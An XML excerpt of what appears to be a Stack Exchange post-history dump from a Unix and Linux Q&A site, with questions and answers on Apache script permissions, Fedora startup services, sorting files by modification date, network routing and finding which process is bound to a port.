  <row Id="21987" PostHistoryTypeId="5" PostId="9239" RevisionGUID="0ead70a6-39fc-46c6-87a6-bce4108e7f85" CreationDate="2011-03-14T17:53:58.583" UserId="3976" Comment="better explain the comment." Text="The reason why you need to redirect that URL rather than rewrite is because you are visiting an unencrypted web page with the http:// (plaintext) URL, and the proxy needs to tell the browser to talk to the https:// URL.  If the connection was simply redirected at the SSL port, your browser wouldn't know what to do with an SSL response if it were somehow directed to the secure port using the HTTP protocol.  (Sadly, I'm not sure if anyone uses http-starttls, which should be able to handle that, but that's a separate question)&#xD;&#xA;&#xD;&#xA;By using a redirect, the proxy uses HTTP return codes to tell the browser to open a new connection, using HTTPS instead of HTTP." />
  <row Id="21988" PostHistoryTypeId="5" PostId="9238" RevisionGUID="c7a080ec-da87-4be5-931d-e700ef87a86a" CreationDate="2011-03-14T17:55:36.850" UserId="3976" Comment="Oops, had the C sleep() rather than the shell sleep man page." Text="You mean [`sleep`][1]?  Or do you want to have something that waits for input before continuing?  You can do that with a [`read`][2] call.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/sleep&#xD;&#xA;  [2]: http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_08_02.html" />
  <row Id="21989" PostHistoryTypeId="2" PostId="9241" RevisionGUID="5c3dc6ac-256a-4963-bc01-3dc482f8f93c" CreationDate="2011-03-14T17:56:46.357" UserId="5714" Text="Context: I am making an in-browser control panel that gives me one button access to a library of scripts (.sh and .php) that I've written to process various kinds of data for a project. It's a &quot;one stop shop&quot; for managing data for this project.&#xD;&#xA;&#xD;&#xA;I've made good progress. I have apache, PHP and MySQL running, and I have my front end up at http://localhost. Good so far!&#xD;&#xA;&#xD;&#xA;Now the problem I'm having: I have an index.php which works fine, except the default apache user (which on my machine is called &quot;_www&quot;) seemingly doesn't have permissions to run some of my scripts.&#xD;&#xA;&#xD;&#xA;So when I do:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;        echo `ls`;&#xD;&#xA;        echo `whoami`;&#xD;&#xA;        echo `/Path/To/Custom/Script.sh`;&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;I get the output of `ls` and `whoami`, but I get nothing back from the custom script. If I run the custom script as me (in an interactive shell), of course it works.&#xD;&#xA;&#xD;&#xA;Finally, my question: What's the &lt;em&gt;right&lt;/em&gt; way to configure this. Have the webserver run as me? Or change permissions so that _www can run my custom scripts?&#xD;&#xA;&#xD;&#xA;Thanks in advance for any help. I'm not an advanced Unix user, so sorry if this is a dumb question!" />
  <row Id="21990" PostHistoryTypeId="1" PostId="9241" RevisionGUID="5c3dc6ac-256a-4963-bc01-3dc482f8f93c" CreationDate="2011-03-14T17:56:46.357" UserId="5714" Text="Permissions: What's the right way to give Apache more user permissions?" />
  <row Id="21991" PostHistoryTypeId="3" PostId="9241" RevisionGUID="5c3dc6ac-256a-4963-bc01-3dc482f8f93c" CreationDate="2011-03-14T17:56:46.357" UserId="5714" Text="épermissionsàéapacheà" />
  <row Id="21992" PostHistoryTypeId="2" PostId="9242" RevisionGUID="2ae29678-98fc-4630-bff6-43c715c764f1" CreationDate="2011-03-14T18:03:15.443" UserId="4335" Text="Hello,&#xD;&#xA;&#xD;&#xA;Following is the output of `$chkconfig | grep 5:on` on my laptop running Fedora 14.&#xD;&#xA;&#xD;&#xA;    NetworkManager 	0:off	1:off	2:on	3:on	4:on	5:on	6:off&#xD;&#xA;    acpid          	0:off	1:off	2:on	3:on	4:on	5:on	6:off&#xD;&#xA;    auditd         	0:off	1:off	2:on	3:on	4:on	5:on	6:off&#xD;&#xA;    avahi-daemon   	0:off	1:off	2:off	3:on	4:on	5:on	6:off&#xD;&#xA;    cpuspeed       	0:off	1:on	2:on	3:on	4:on	5:on	6:off&#xD;&#xA;    haldaemon      	0:off	1:off	2:off	3:on	4:on	5:on	6:off&#xD;&#xA;    ip6tables      	0:off	1:off	2:on	3:on	4:on	5:on	6:off&#xD;&#xA;    iptables       	0:off	1:off	2:on	3:on	4:on	5:on	6:off&#xD;&#xA;    irqbalance     	0:off	1:off	2:off	3:on	4:on	5:on	6:off&#xD;&#xA;    lvm2-monitor   	0:off	1:on	2:on	3:on	4:on	5:on	6:off&#xD;&#xA;    mdmonitor      	0:off	1:off	2:on	3:on	4:on	5:on	6:off&#xD;&#xA;    messagebus     	0:off	1:off	2:on	3:on	4:on	5:on	6:off&#xD;&#xA;    netfs          	0:off	1:off	2:off	3:on	4:on	5:on	6:off&#xD;&#xA;    nfslock        	0:off	1:off	2:off	3:on	4:on	5:on	6:off&#xD;&#xA;    rpcbind        	0:off	1:off	2:on	3:on	4:on	5:on	6:off&#xD;&#xA;    rpcgssd        	0:off	1:off	2:off	3:on	4:on	5:on	6:off&#xD;&#xA;    rpcidmapd      	0:off	1:off	2:off	3:on	4:on	5:on	6:off&#xD;&#xA;    rsyslog        	0:off	1:off	2:on	3:on	4:on	5:on	6:off&#xD;&#xA;    smolt          	0:off	1:off	2:on	3:on	4:on	5:on	6:off&#xD;&#xA;    udev-post      	0:off	1:on	2:on	3:on	4:on	5:on	6:off&#xD;&#xA;&#xD;&#xA;I don't use NM for connecting to the Internet. So I think that should be stopped right away. Also I have ext4 filesystem so I assume lvm2-monitor can be safely turned off. My primary usage is surfing net and coding in Python (newbie though). &#xD;&#xA;&#xD;&#xA;Which services should I disable so that unnecessarily resources don't remain busy?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="21993" PostHistoryTypeId="1" PostId="9242" RevisionGUID="2ae29678-98fc-4630-bff6-43c715c764f1" CreationDate="2011-03-14T18:03:15.443" UserId="4335" Text="Which services should be disabled?" />
  <row Id="21994" PostHistoryTypeId="3" PostId="9242" RevisionGUID="2ae29678-98fc-4630-bff6-43c715c764f1" CreationDate="2011-03-14T18:03:15.443" UserId="4335" Text="éfedoraàéservicesà" />
  <row Id="21995" PostHistoryTypeId="5" PostId="9237" RevisionGUID="7c164686-c830-4aa7-8c71-261632cbdbfb" CreationDate="2011-03-14T18:14:26.693" UserId="2180" Comment="Changed question to ask how to do something instead of asking why it doesn't." Text="How can I make my shell script pause before continuing?" />
  <row Id="21996" PostHistoryTypeId="4" PostId="9237" RevisionGUID="7c164686-c830-4aa7-8c71-261632cbdbfb" CreationDate="2011-03-14T18:14:26.693" UserId="2180" Comment="Changed question to ask how to do something instead of asking why it doesn't." Text="How can I pause in a shell script?" />
  <row Id="21997" PostHistoryTypeId="2" PostId="9243" RevisionGUID="1ed349f7-a729-4558-afe3-a75c96caa0f1" CreationDate="2011-03-14T18:22:45.560" UserId="2180" Text="The first-best thing would be to put the script in a standard location (such as `/usr/local/bin`) that the web server has sufficient permissions to execute.&#xD;&#xA;&#xD;&#xA;If that's not an option, you can change the group of the script using `chgrp groupname path`, give that group execute permission. If that the `_www` user isn't already in that group, add it to the group." />
  <row Id="21998" PostHistoryTypeId="2" PostId="9244" RevisionGUID="8edb56a5-8a39-4c31-be9b-a96d757f01be" CreationDate="2011-03-14T18:26:53.137" UserId="5715" Text="Hy everybody I'm new to the Linux .&lt;br/&gt;&#xD;&#xA;I've installed Ubuntu 10.10 from windows 7 i can remove it from windows seven its not on virtual PC it is independent  it uses a virtual drive in c I have chosen it to be 10 Gb.&lt;br/&gt;&#xD;&#xA;now i want to increase the size of this drive how to do this????&lt;br/&gt;I've configured the system for PHP MySQL and installed a lot of software and fixed wireless connection problems a lot of things i don't want to loose these things and start troubling again i heard of backups but i think it will take long time is there any other simple and fast way?? thanks to everyone trying to help." />
  <row Id="21999" PostHistoryTypeId="1" PostId="9244" RevisionGUID="8edb56a5-8a39-4c31-be9b-a96d757f01be" CreationDate="2011-03-14T18:26:53.137" UserId="5715" Text="Ubuntu 10.10 installed from windows 7 how to expand drive" />
  <row Id="22000" PostHistoryTypeId="3" PostId="9244" RevisionGUID="8edb56a5-8a39-4c31-be9b-a96d757f01be" CreationDate="2011-03-14T18:26:53.137" UserId="5715" Text="éubuntuàéhardödiskà" />
  <row Id="22001" PostHistoryTypeId="2" PostId="9245" RevisionGUID="931ecc86-8687-464a-b371-5f9caff81b79" CreationDate="2011-03-14T18:29:57.990" UserId="3976" Text="It's possible (and likely, if you didn't specify otherwise in the installer) that you are still using LVM with ext4 on the logical volumes, however, lvm2-monitor is really only useful if you're using LVM snapshots and/or mirrors, so it is safe to trun off.&#xD;&#xA;&#xD;&#xA;Are you using NFS in any way?  If not, you can probably safely turn off the netfs, nfslock and rpc* services.&#xD;&#xA;&#xD;&#xA;Do you use any mDNS (or ZeroConf) devices?  Avahi-daemon both registers your computer as a mdns device and enables your system to search for similar devices.  If you don't plan on ever using that, you can disable it.&#xD;&#xA;&#xD;&#xA;The other services are fairly normal to have running (like rsyslog), or are simply startup processes that don't leave around running processes (like smolt and udev-post)." />
  <row Id="22002" PostHistoryTypeId="2" PostId="9246" RevisionGUID="4fe45563-0edb-4fcb-8e70-51ddd0a33457" CreationDate="2011-03-14T19:00:14.173" UserId="2511" Text="    NetworkManager  0:off   1:off   2:on    3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;You can do without NetworkManager, but I find it awfully handy for dealing with changing wifi on a laptop (which you say you're using). If you don't need it, though, no harm in turning this off.&#xD;&#xA;&#xD;&#xA;    acpid           0:off   1:off   2:on    3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;This is probably what's making your power button work, and what makes the system suspend when you close the lid. You can live without it, but probably don't want to.&#xD;&#xA;&#xD;&#xA;    auditd          0:off   1:off   2:on    3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;This is the userspace part of the Linux Auditing System, which is a more secure way of logging kernel-level events than syslog. Among other things, it records SELinux alerts. Strictly speaking, you don't need it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    avahi-daemon    0:off   1:off   2:off   3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;This is for autodiscovery of services on a network — printers being a big example. It's not required.&#xD;&#xA;&#xD;&#xA;    cpuspeed        0:off   1:on    2:on    3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;This will _probably_ just start the right in-kernel CPU frequency scaling driver as an on-start operation, and not run anything. (And if it can't for whatever reason and runs the daemon, you probably want it.)&#xD;&#xA;&#xD;&#xA;    haldaemon       0:off   1:off   2:off   3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;This runs `hald`, which is in the process of being obsoleted but which is, as of Fedora 14, still used for a few things. Best to leave it on for now&#xD;&#xA;&#xD;&#xA;    ip6tables       0:off   1:off   2:on    3:on    4:on    5:on    6:off&#xD;&#xA;    iptables        0:off   1:off   2:on    3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;This sets up the kernel-level packet filter and doesn't leave any user-space daemon running. Leave it on.&#xD;&#xA;&#xD;&#xA;    irqbalance      0:off   1:off   2:off   3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;This is for multi-cpu/multi-core systems. If you just have one, it will exit harmlessly after a few seconds. You can gain a few milliseconds of startup time by chkconfiging it off.&#xD;&#xA;&#xD;&#xA;    lvm2-monitor    0:off   1:on    2:on    3:on    4:on    5:on    6:off&#xD;&#xA;    mdmonitor       0:off   1:off   2:on    3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;If you're sure you're not using lvm (note that you can use ext4 on top of lvm!), you can turn off lvm2-monitor, and the same goes for md software RAID and mdmonitor.&#xD;&#xA;&#xD;&#xA;    messagebus      0:off   1:off   2:on    3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;This is the d-bus system message bus. If you're using a modern desktop environment, you'll basically need this. If you're _not_, you can get away without it, but will probably have to hack things up. (I'm pretty sure `gdm` needs it, for example.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    netfs           0:off   1:off   2:off   3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;This doesn't run any daemons, but starts any network filesystems in `/etc/fstab/`. It's harmless either way.&#xD;&#xA;&#xD;&#xA;    nfslock         0:off   1:off   2:off   3:on    4:on    5:on    6:off&#xD;&#xA;    rpcbind         0:off   1:off   2:on    3:on    4:on    5:on    6:off&#xD;&#xA;    rpcgssd         0:off   1:off   2:off   3:on    4:on    5:on    6:off&#xD;&#xA;    rpcidmapd       0:off   1:off   2:off   3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;If you're not using NFS, NIS, or some other RPC-based service, all of these can go off.&#xD;&#xA;&#xD;&#xA;    rsyslog         0:off   1:off   2:on    3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;You technically don't _need_ to log anything, but you probably really want to. You could consider tuning it to work in a more lightweight way on your laptop.&#xD;&#xA;&#xD;&#xA;    smolt           0:off   1:off   2:on    3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;This sends anonymized usage statistics back to the Fedora Project. It doesn't run anything, but there's a cron file  in `/etc/cron.d/smolt` which checks the state here. If you don't want it, I suggest removing the entire smolt package. (But consider leaving it — the data is useful to the people putting the distro together for you, and it's only once a month.)&#xD;&#xA;&#xD;&#xA;    udev-post       0:off   1:on    2:on    3:on    4:on    5:on    6:off&#xD;&#xA;&#xD;&#xA;Another run-and-done startup script, this one needed to keep rules generated during the boot process around once the system is up. Leave it on. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22003" PostHistoryTypeId="2" PostId="9247" RevisionGUID="4cf10286-ec8a-45d8-91a7-9e35c542edfe" CreationDate="2011-03-14T19:01:04.973" UserId="1946" Text="How can I get the list of all files under current directory along with their modification date and sorted by that date?&#xD;&#xA;&#xD;&#xA;Now I know how to achieve that with `find`, `stat` and `sort`, but for some weird reason the `stat` is not installed on the box and it's unlikely that I can get it installed.&#xD;&#xA;&#xD;&#xA;Any other option?&#xD;&#xA;&#xD;&#xA;PS: `gcc` is not installed either&#xD;&#xA;" />
  <row Id="22004" PostHistoryTypeId="1" PostId="9247" RevisionGUID="4cf10286-ec8a-45d8-91a7-9e35c542edfe" CreationDate="2011-03-14T19:01:04.973" UserId="1946" Text="How to list files sorted by modification date recursively (no stat command available!)" />
  <row Id="22005" PostHistoryTypeId="3" PostId="9247" RevisionGUID="4cf10286-ec8a-45d8-91a7-9e35c542edfe" CreationDate="2011-03-14T19:01:04.973" UserId="1946" Text="éfilesàédateàésortà" />
  <row Id="22006" PostHistoryTypeId="5" PostId="9226" RevisionGUID="ac5a1955-227b-442a-a010-fd9cdd450057" CreationDate="2011-03-14T19:05:20.150" UserId="885" Comment="formatting; tags" Text="I'm using the Privoxy proxy on my PC.&#xD;&#xA;&#xD;&#xA;What is the rewrite rule in the `user.action` file to rewrite e.g.: `http://foo.org` to `https://foo.org`? Note that I want to rewrite, not redirect.&#xD;&#xA;&#xD;&#xA;So if I search google for `foo.org` then on the search page there would be `https://foo.org`.&#xD;&#xA;&#xD;&#xA;Would the rewrite work on e.g.: `https://encrypted.google.com/`?&#xD;&#xA;&#xD;&#xA;Or is redirecting better because there could be e.g.: `&lt;img src=&quot;foo.org/pic.jpg&quot;&gt;&lt;/img&gt;`?&#xD;&#xA;" />
  <row Id="22007" PostHistoryTypeId="6" PostId="9226" RevisionGUID="ac5a1955-227b-442a-a010-fd9cdd450057" CreationDate="2011-03-14T19:05:20.150" UserId="885" Comment="formatting; tags" Text="éhttpöproxyàéprivoxyà" />
  <row Id="22008" PostHistoryTypeId="2" PostId="9248" RevisionGUID="e936257d-5eff-48c8-9f84-b9ab4123edef" CreationDate="2011-03-14T19:06:13.680" UserId="1952" Text="He might also be looking for CTRL-Z, which pauses the current process." />
  <row Id="22009" PostHistoryTypeId="5" PostId="8698" RevisionGUID="c3524230-059e-4794-80c5-8b2e0263dfb4" CreationDate="2011-03-14T19:12:15.233" UserId="5437" Comment="deleted 3 characters in body" Text="Hey,&#xD;&#xA;&#xD;&#xA;could please anybody help me identify what is the source of problem ?  the problem is that after some time or after opening a window of some application in X, it seems like I suddenly lost 2d acceleration.&#xD;&#xA;&#xD;&#xA;Because the process /usr/bin/X and all its operations ( window resizing, scrolling) suddenly eats 60% to 150% of CPUs runtime when scrolling window for instance.&#xD;&#xA;&#xD;&#xA;I'm using twinview, but it happens even without it, but not so much. I'm not using any composition in KDE or xfce&#xD;&#xA;&#xD;&#xA;the nvidia driver installation logs looks there was no problem during the installation&#xD;&#xA;&#xD;&#xA; I tried various different kernel versions, 2 different Xorg version, 2 versions of nvidia driver&#xD;&#xA;and even different window managers&#xD;&#xA;&#xD;&#xA; it only happens in particular time frames, if I open some specific www page or application in browser or it comes from nowhere. &#xD;&#xA;&#xD;&#xA;It is possible that it could be triggered by some flash animation, gif animation, javascript scrolling text or other effects in browser, but it is really hard to say, because it usually appears suddenly (when reading something in browser for instance)&#xD;&#xA;&#xD;&#xA;as far as xorg.conf, I have the default one from nvidia-settings. I also tried various possible configurations and modules.&#xD;&#xA;&#xD;&#xA; I have glxgears 2.241 FPS and after the problem is gone I have 6267.623 FPS&#xD;&#xA;&#xD;&#xA;        Slackware-current - kernel 2.6.35.11 , 2.6.35.10 , 2.6.36.x 2.6.37&#xD;&#xA;        X.Org X Server 1.9.4&#xD;&#xA;        KDE 4.5.5   or   xfce-4.6.2&#xD;&#xA;        NVIDIA-Linux-x86_64-260.19.36  + twinview&#xD;&#xA;        &#xD;&#xA;        Geforce 8400 GS&#xD;&#xA;    &#xD;&#xA;    APPS: google-chrome-8&#xD;&#xA;          XChat 2.8.8&#xD;&#xA;          eclipse-3.6" />
  <row Id="22010" PostHistoryTypeId="2" PostId="9249" RevisionGUID="65f394ce-66c0-4a09-b785-0d034d049ba7" CreationDate="2011-03-14T19:42:00.687" UserId="5325" Text="Assuming GNU `find`:&#xD;&#xA;&#xD;&#xA;    find . -printf '%T@ %c %p\n' | sort -k 1n,1 -k 7 | cut -d' ' -f2-&#xD;&#xA;&#xD;&#xA;Change `1n,1` to `1nr,1` if you want the files listed most recent first.&#xD;&#xA;&#xD;&#xA;If you don't have GNU `find` it becomes more difficult because `ls`'s timestamp format varies so much (recently modified files have a different style of timestamp, for example)." />
  <row Id="22011" PostHistoryTypeId="2" PostId="9250" RevisionGUID="f234290d-0362-4ab0-8ba1-e3cbee79c24e" CreationDate="2011-03-14T20:05:48.023" UserId="885" Text="My shortest method uses zsh:&#xD;&#xA;&#xD;&#xA;    print -rl **/*(.Om)&#xD;&#xA;&#xD;&#xA;If you have GNU find, make it print the file modification times and sort by that. I assume there are no newlines in file names.&#xD;&#xA;&#xD;&#xA;    find . -type f -printf '%T@ %p\n' | sort -k 1 -n | sed 's/^[^ ]* //'&#xD;&#xA;&#xD;&#xA;If you have Perl (again, assuming no newlines in file names):&#xD;&#xA;&#xD;&#xA;    find . -type f -print |&#xD;&#xA;    perl -l -ne '&#xD;&#xA;        $_{$_} = -M;  # store file age (mtime - now)&#xD;&#xA;        END {&#xD;&#xA;            $,=&quot;\n&quot;;&#xD;&#xA;            print sort {$_{$b} &lt;=&gt; $_{$a}} keys %_;  # print by decreasing age&#xD;&#xA;        }'&#xD;&#xA;&#xD;&#xA;If you have Python (again, assuming no newlines in file names):&#xD;&#xA;&#xD;&#xA;    find . -type f -print |&#xD;&#xA;    python -c 'import os, sys; times = {}&#xD;&#xA;    for f in sys.stdin.readlines(): f = f[0:-1]; times[f] = os.stat(f).st_mtime&#xD;&#xA;    for f in sorted(times.iterkeys(), key=lambda f:times[f]): print f'&#xD;&#xA;&#xD;&#xA;If you have SSH access to that server, mount the directory over [sshfs](http://fuse.sourceforge.net/sshfs.html) on a better-equipped machine:&#xD;&#xA;&#xD;&#xA;    mkdir mnt&#xD;&#xA;    sshfs server:/path/to/directory mnt&#xD;&#xA;    zsh -c 'cd mnt &amp;&amp; print -rl **/*(.Om)'&#xD;&#xA;    fusermount -u mnt&#xD;&#xA;&#xD;&#xA;With only POSIX tools, it's a lot more complicated, because there's no good way to find the modification time of a file. The only standard way to retrieve a file's times is `ls`, and the output format is locale-dependent and hard to parse.&#xD;&#xA;&#xD;&#xA;If you can write to the files, and you only care about regular files, and there are no newlines in file names, here's a horrible kludge: create hard links to all the files in a single directory, and sort them by modification time.&#xD;&#xA;&#xD;&#xA;    set -ef                       # disable globbing&#xD;&#xA;    IFS='&#xD;&#xA;    '                             # split $(foo) only at newlines&#xD;&#xA;    set -- $(find . -type f)      # set positional arguments to the file names&#xD;&#xA;    mkdir links.tmp&#xD;&#xA;    cd links.tmp&#xD;&#xA;    i=0 list=&#xD;&#xA;    for f; do                     # hard link the files to links.tmp/0, links.tmp/1, …&#xD;&#xA;      ln &quot;../$f&quot; $i&#xD;&#xA;      i=$(($i+1))&#xD;&#xA;    done&#xD;&#xA;    set +f&#xD;&#xA;    for f in $(ls -t [0-9]*); do  # for each file, in reverse mtime order:&#xD;&#xA;      eval 'list=&quot;${'$i'}         # prepend the file name to $list&#xD;&#xA;    $list&quot;'&#xD;&#xA;    done&#xD;&#xA;    printf %s &quot;$list&quot;             # print the output&#xD;&#xA;    rm -f [0-9]*                  # clean up&#xD;&#xA;    cd ..&#xD;&#xA;    rmdir links.tmp&#xD;&#xA;" />
  <row Id="22012" PostHistoryTypeId="5" PostId="9200" RevisionGUID="6fd8c0a0-f7b8-452d-a92a-17088bb7c933" CreationDate="2011-03-14T20:10:46.817" UserId="885" Comment="state immediate cause of error" Text="It would help if you posted all the scripts involved, but I'll hazard a guess. Those are bash scripts, but they are run by `/bin/sh`, which is dash and not bash on your system. Change any `#!/bin/sh` line at the top of the scripts to `#!/bin/bash`, and change the explicit invocations of `/bin/sh` into `/bin/bash` as well.&#xD;&#xA;&#xD;&#xA;The immediate source of the error on line 73 is that `$username` is not set, so the `[` command sees the operands `==` and `root` (plus the final `]`). This is a syntax error. It's impossible to know why the variable isn't set without seeing more of the script.&#xD;&#xA;&#xD;&#xA;*(Beware that the small extract from the scripts you've included in your post shows that the author doesn't have a lot of experience writing unix shell scripts. From what I've seen elsewhere, this often applies to the rest of the driver. Open-source drivers shipped in Linux distributions tend to be much better quality than manufacturer-provided drivers. Unfortunately, it looks like you have no choice with this model.)*&#xD;&#xA;" />
  <row Id="22013" PostHistoryTypeId="25" PostId="9247" RevisionGUID="714a4508-e9ba-4075-8977-0a4d4ad71316" CreationDate="2011-03-14T20:24:39.810" Comment="http://twitter.com/#!/StackUnix/status/47392720704110592" />
  <row Id="22014" PostHistoryTypeId="2" PostId="9251" RevisionGUID="01de6556-643d-4bda-b1a9-5d0d81ab8ebb" CreationDate="2011-03-14T20:32:05.713" UserId="885" Text="You've defined a gateway on both interfaces. So there is a default route through both interfaces. I'm not sure what exactly happens in this case, but I doubt this is what you intended. I suspect that only a smaller network should be accessible through `eth0`. You can do this by changing the corresponding stanza like this:&#xD;&#xA;&#xD;&#xA;    iface eth0 inet static&#xD;&#xA;        address 172.16.130.250&#xD;&#xA;        netmask 255.255.255.0&#xD;&#xA;        broadcast 172.16.120.255&#xD;&#xA;        up route add -net 172.16.120.0/20 gw 172.16.130.1 eth0&#xD;&#xA;" />
  <row Id="22015" PostHistoryTypeId="6" PostId="9230" RevisionGUID="095c87f5-cc14-4a55-8d08-c7205146f9ce" CreationDate="2011-03-14T20:32:23.457" UserId="885" Comment="edited tags" Text="élinuxàédebianàénetworkingàéroutingàévmwareà" />
  <row Id="22016" PostHistoryTypeId="6" PostId="9222" RevisionGUID="e295b32d-eea9-4dbd-b06d-18d0a4b00311" CreationDate="2011-03-14T20:34:27.313" UserId="885" Comment="edited tags" Text="évià" />
  <row Id="22017" PostHistoryTypeId="5" PostId="194" RevisionGUID="afb2f262-de2d-4114-a5d3-d19830e5d6a4" CreationDate="2011-03-14T20:45:14.917" UserId="138" Comment="URL update" Text="ZFS is not in the official Linux kernel, and never will be unless Oracle relicenses the code under something compatible with the GPL.&#xD;&#xA;&#xD;&#xA;Today, your best options are:&#xD;&#xA;&#xD;&#xA; - Switch to &lt;a href=&quot;https://btrfs.wiki.kernel.org/index.php/Main_Page&quot;&gt;btrfs&lt;/a&gt;, which has similar features to ZFS but doesn't have the GPL license conflict and has been in the mainline kernel for testing since 2.6.29 (released in January 2009)&#xD;&#xA;&#xD;&#xA; - Use a different OS for your file server (FreeBSD 8, say) and use NFS to connect it to your Linux boxes&#xD;&#xA;&#xD;&#xA; - Use &lt;a href=&quot;http://zfs-fuse.net/&quot;&gt;ZFS on FUSE&lt;/a&gt;, a userspace implementation, which works neatly around the kernel licensing issue at the expense of a significant amount of performance&#xD;&#xA;&#xD;&#xA;Incidentally, btrfs is also backed by Oracle, but was started years before the Sun acquisition.&#xD;&#xA;&#xD;&#xA;As for whether the two will ever merge, or one be deprecated in favor of the other, I can only opine, since I don't have any say in any of this.  My guess is that they won't, even now that &lt;a href=&quot;http://www.techworld.com.au/article/360107/oracle_netapp_agree_settle_zfs_patent_litigation&quot;&gt;the patent lawsuit over ZFS is over&lt;/a&gt;. That settlement doesn't stop NetApp from suing, say, Red Hat if ZFS were to show up in some future RHEL release.  Even if NetApp were to abandon their patent claims, there would still be the license conflict to deal with.&#xD;&#xA;&#xD;&#xA;As for the advisability of using the &lt;a href=&quot;http://github.com/behlendorf/zfs&quot;&gt;Behlendorf ZFS port for Linux&lt;/a&gt;, the &lt;a href=&quot;http://wiki.github.com/behlendorf/zfs/faq&quot;&gt;first question in their FAQ&lt;/a&gt; expands on what I said above: it'll never be in the official kernel due to the licensing conflict, though this doesn't stop you from integrating the two at your site, as long as you don't distribute the combination.  That's enough to kill it for me.  First, I want the freedom to build up a Linux box, then sell it to someone: that violates the clause of the GPL that lets you do on-site integration with code under an incompatible license as long as the result doesn't get distributed.  Second, I want my Linux distro's installer to be able to create all filesystems at install time, which means they also need the freedom to distribute the kernel with the filesystems in it that I want to use.  If it doesn't come built into my Linux distro of choice, I won't use it in production." />
  <row Id="22018" PostHistoryTypeId="2" PostId="9252" RevisionGUID="fceb84de-4cb3-4ea0-958f-ecf1f7969ae8" CreationDate="2011-03-14T20:45:16.860" UserId="5721" Text="I know that using the command:&#xD;&#xA;&#xD;&#xA;lsof -i TCP &#xD;&#xA;&#xD;&#xA;(or some variant of parameters with lsof) I can determine which process is bound to a particular port.  This is useful say if I'm trying to start something that wants to bind to 8080 and some else is already using that port, but I don't know what.&#xD;&#xA;&#xD;&#xA;Is there an easy way to do this without using lsof?  I spend time working on many systems and lsof is often not installed." />
  <row Id="22019" PostHistoryTypeId="1" PostId="9252" RevisionGUID="fceb84de-4cb3-4ea0-958f-ecf1f7969ae8" CreationDate="2011-03-14T20:45:16.860" UserId="5721" Text="Determining what process is bound to a port" />
  <row Id="22020" PostHistoryTypeId="3" PostId="9252" RevisionGUID="fceb84de-4cb3-4ea0-958f-ecf1f7969ae8" CreationDate="2011-03-14T20:45:16.860" UserId="5721" Text="énetworkingàélsofà" />
  <row Id="22021" PostHistoryTypeId="2" PostId="9253" RevisionGUID="ea265b6f-28e3-45eb-aea3-7c70e4b69d6d" CreationDate="2011-03-14T20:46:19.257" UserId="5720" Text="How do I print the image Exif date with a tool like exiv2?&#xD;&#xA;&#xD;&#xA;My goal is to write the image year and month into separate variables. Do I really have to parse the output with regex or is there a alternative to something like this:&#xD;&#xA;&#xD;&#xA;    exiv2 DSC_01234.NEF -ps | grep 'Image timestamp' | ...regex to parse the date" />
  <row Id="22022" PostHistoryTypeId="1" PostId="9253" RevisionGUID="ea265b6f-28e3-45eb-aea3-7c70e4b69d6d" CreationDate="2011-03-14T20:46:19.257" UserId="5720" Text="Print specific Exif image data values with exiv2" />
  <row Id="22023" PostHistoryTypeId="3" PostId="9253" RevisionGUID="ea265b6f-28e3-45eb-aea3-7c70e4b69d6d" CreationDate="2011-03-14T20:46:19.257" UserId="5720" Text="ébashàéshellàéregexà" />
  <row Id="22024" PostHistoryTypeId="2" PostId="9254" RevisionGUID="df6bbc1a-d6ce-4be2-ba00-51b8e459bc7a" CreationDate="2011-03-14T20:48:01.677" UserId="5310" Text="`netstat -lnp` will list the pid and process name next to each listening port.  This will work under Linux, but not all others (like AIX.)  Add `-t` if you want TCP only.&#xD;&#xA;&#xD;&#xA;    # netstat -lntp&#xD;&#xA;    Active Internet connections (only servers)&#xD;&#xA;    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&#xD;&#xA;    tcp        0      0 0.0.0.0:24800           0.0.0.0:*               LISTEN      27899/synergys&#xD;&#xA;    tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      3361/python&#xD;&#xA;    tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      2264/mysqld&#xD;&#xA;    tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      22964/apache2&#xD;&#xA;    tcp        0      0 192.168.99.1:53         0.0.0.0:*               LISTEN      3389/named&#xD;&#xA;    tcp        0      0 192.168.88.1:53         0.0.0.0:*               LISTEN      3389/named&#xD;&#xA;&#xD;&#xA;etc." />
